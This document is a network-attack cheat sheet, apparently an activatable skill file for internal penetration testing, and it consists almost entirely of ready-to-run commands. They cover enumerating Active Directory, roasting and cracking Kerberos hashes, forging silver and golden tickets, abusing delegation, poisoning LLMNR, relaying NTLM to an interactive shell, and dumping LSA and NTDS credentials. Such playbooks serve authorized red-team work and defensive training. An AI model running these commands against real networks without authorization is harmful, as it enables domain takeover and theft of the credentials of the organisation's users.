network-attack

Network Attack & Lateral Movement

When to Activate

• Internal network penetration testing
• Active Directory domain compromise
• Lateral movement after initial access
• Network protocol exploitation
• Wireless security assessment
• Traffic interception and manipulation

Active Directory Attacks

Enumeration

# BloodHound collection
bloodhound-python -d $DOMAIN -u $USER -p $PASS -c all -ns $DC_IP
# or SharpHound
.\SharpHound.exe -c all --zipfilename output.zip

# LDAP enumeration
ldapsearch -x -H ldap://$DC_IP -D "$USER@$DOMAIN" -w "$PASS" -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName memberOf

# Kerbrute user enumeration (no auth needed)
kerbrute userenum --dc $DC_IP -d $DOMAIN users.txt

# CrackMapExec
crackmapexec smb $SUBNET/24 -u $USER -p $PASS --shares
crackmapexec smb $DC_IP -u $USER -p $PASS --users
crackmapexec smb $DC_IP -u $USER -p $PASS -M spider_plus

Kerberos Attacks

# AS-REP Roasting (no pre-auth required)
impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DC_IP -format hashcat
hashcat -m 18200 asrep_hashes.txt wordlist.txt

# Kerberoasting (any domain user)
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC_IP -request
hashcat -m 13100 tgs_hashes.txt wordlist.txt

# Silver Ticket (service account NTLM hash)
impacket-ticketer -nthash $NTLM -domain-sid $SID -domain $DOMAIN -spn $SPN $USER

# Golden Ticket (krbtgt hash = domain compromise)
impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $SID -domain $DOMAIN Administrator

# Delegation abuse
# Unconstrained: compromise server → extract TGTs from memory
# Constrained: S4U2Self + S4U2Proxy to impersonate any user
# RBCD: write msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-getST -spn $SPN -impersonate Administrator $DOMAIN/$MACHINE\$:$PASS

Credential Harvesting

# Responder (LLMNR/NBT-NS/mDNS poisoning)
responder -I eth0 -wrf

# NTLM relay
impacket-ntlmrelayx -tf targets.txt -smb2support -i  # interactive shell
impacket-ntlmrelayx -tf targets.txt --delegate-access  # RBCD attack

# mitm6 (IPv6 DNS takeover)
mitm6 -d $DOMAIN
# Combined with ntlmrelayx for delegation

# Credential dumping (post-compromise)
impacket-secretsdump $DOMAIN/$USER:$PASS@$TARGET
crackmapexec smb $TARGET -u $USER -p $PASS --lsa
crackmapexec smb $TARGET -u $USER -p $PASS --ntds  # DC only